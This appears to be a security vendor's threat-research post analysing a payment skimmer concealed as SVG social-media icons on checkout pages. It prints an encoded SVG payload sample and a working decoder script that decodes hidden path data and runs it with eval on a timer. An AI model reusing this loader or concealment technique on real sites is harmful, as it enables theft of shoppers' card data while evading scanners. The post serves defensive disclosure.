

# Payment skimmer hides in social media buttons

- 26th November 2020

## Web Skimming / Sansec Threat Research

Learn about new eCommerce hacks?

Receive an alert whenever we discover new hacks or vulnerabilities that may affect your online store.

- What is Magecart?

Also known as digital skimming, this crime has surged since 2015. Criminals steal card data during online shopping. Who are behind these notorious hacks, how does it work, and how have Magecart attacks evolved over time?

## About Magecart



Researchers at Sansec have uncovered a novel technique to inject payment skimmers onto checkout pages. This new malware has two parts: a concealed payload and a decoder, of which the latter reads the payload and executes the concealed code.

While skimmers have added their malicious payload to benign files like images in the past, this is the first time that malicious code has been constructed as a perfectly valid image. The result is that security scanners can no longer find malware just by testing for valid syntax.

The malicious payload assumes the form of an html `<svg>` element, using the `<path>` element as a container for the payload. The payload itself is concealed utilizing syntax that strongly resembles correct use of the `<svg>` element. To complete the illusion of the image being benign, the malware's creator has named it after a trusted social media company. Further investigation has revealed there are at least six major names being used:

```
google_full
facebook_full
twitter_full
instagram_full
youtube_full
pinterest_full
```

```
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" class="svg
  <symbol id="facebook_full" viewBox="0 0 83 61" preserveaspectratio="xMidYMid meet"
    <path line="34c.z85c.z 256.255.65.245h230 242 228 252 244.231.229.39h232c228-244.227 240-66 244 253.244 242z22
    <path line="M252.246-69 227 244c244-44h230 243-251c42.245-230M242.228 252M244.231.229
    <path line="-65.51-80 35.241 233.80-35 226h44-51-64-61-244 44 87.234-256 255 65.56.25
    <path line="-257 42 231-58.58 64 227 244h229c228 227.231-256 229.244.252 44 234 236.6
    <path line=".230 242 228-252 244.231 229.39h232c228-244.227 240-66 244 253.244 242z22
    <path line=" 254.244-231 229 61c245c256.227.71 248.252.244h44 91.66h70 71 39-226-229c
    <path line=" 51M75-81 254.44 51 64.58h238 257.256.242.257 61.256.252 248 254 244 82 2
    <path line=".229 39M232 228.244 227 240-66.244z253M244 242h229-230 227-65.51-50 226z2
    <path line="-240.240 51 64 39 229-244 241 229 82 230 231-229z244.231.229 61-230 44h24
    <path line=" 252c257.239z242-34 72 256 93c82 91 35 80h78h241-40 75 66-96M47 96z254 44
    <path line=" 44 252.230 245 58 248 229.230-243 65 51 96 231 41-226.51.64 61-226-229 2
    <path line="-252-230-231 229.257-76-51 61 51 239 248 253h228 244 51c43 51 62.58 228 5
    <path line=".248h253 228 244.51 43c51 62 58 230-58 62 51.236 61 62.42 239.248.227 57
```

## Steganography

The second part of the malware is a decoder that interprets & executes the payload. Below is a beautified version:

```
var e = document.getElementById("facebook_full");
window.animating = e.querySelectorAll("path");
document.line = e ? "" : "rotate";
for (var s = 0; animating.length > s; s++) {
  document.line += animating[s].getAttribute("line");
}
window.transform = document.line.split("c.z");
document.anchor = transform[0] - ![];
window.size = transform[1] - false;
document.d = transform[2].replace(/ |h|c|M|z|-/gi, ".");
document.d = document.d.split("."), line = "";
for (var s = 1; document.d.length > s; s++) {
  line += String.fromCharCode(((document.d[s] - document.anchor) ^ size) - document.anchor);
}
setInterval(function () {
  window.flag = 0;
  eval(line);
}, 0x1388);
```

It is worth noting that the decoder does not have to be injected in the same location as the payload. This adds to its concealment, as finding only one of the parts, one might not deduce the true purpose of a slightly strangely formatted svg.

An attacker can of course conceal any payload with this technique. Samples taken by Sansec revealed payment skimming as the true purpose of the malware injections.

## Possible Test Run?

In June 2020 a similar malware was detected by Sansec, using the same technique. This malware was not as sophisticated and was only detected on 9 sites on a single day. Of these 9 infected sites, only 1 had functional malware. The 8 remaining sites all missed one of the two components, rendering the malware useless.

After the discovery of this new and more sophisticated malware, the question arises if the June injections could have been the creator running a test to see how well their new creation would fare. This new malware was first found on live sites in mid-September.

[data-size="large" > Follow @sansecio](#)

Stay ahead of eCommerce hacks,  
protect your store today!

Sansec forensic experts were the first to document large scale digital skimming in 2015. Since then, we have investigated thousands of hacked stores. Our research of the latest attack vectors protects our customers around the world. Our anti-skimming technology and data are used by merchants, forensic investigators, financial anti-fraud teams and service providers

[Try our malware scanner](#)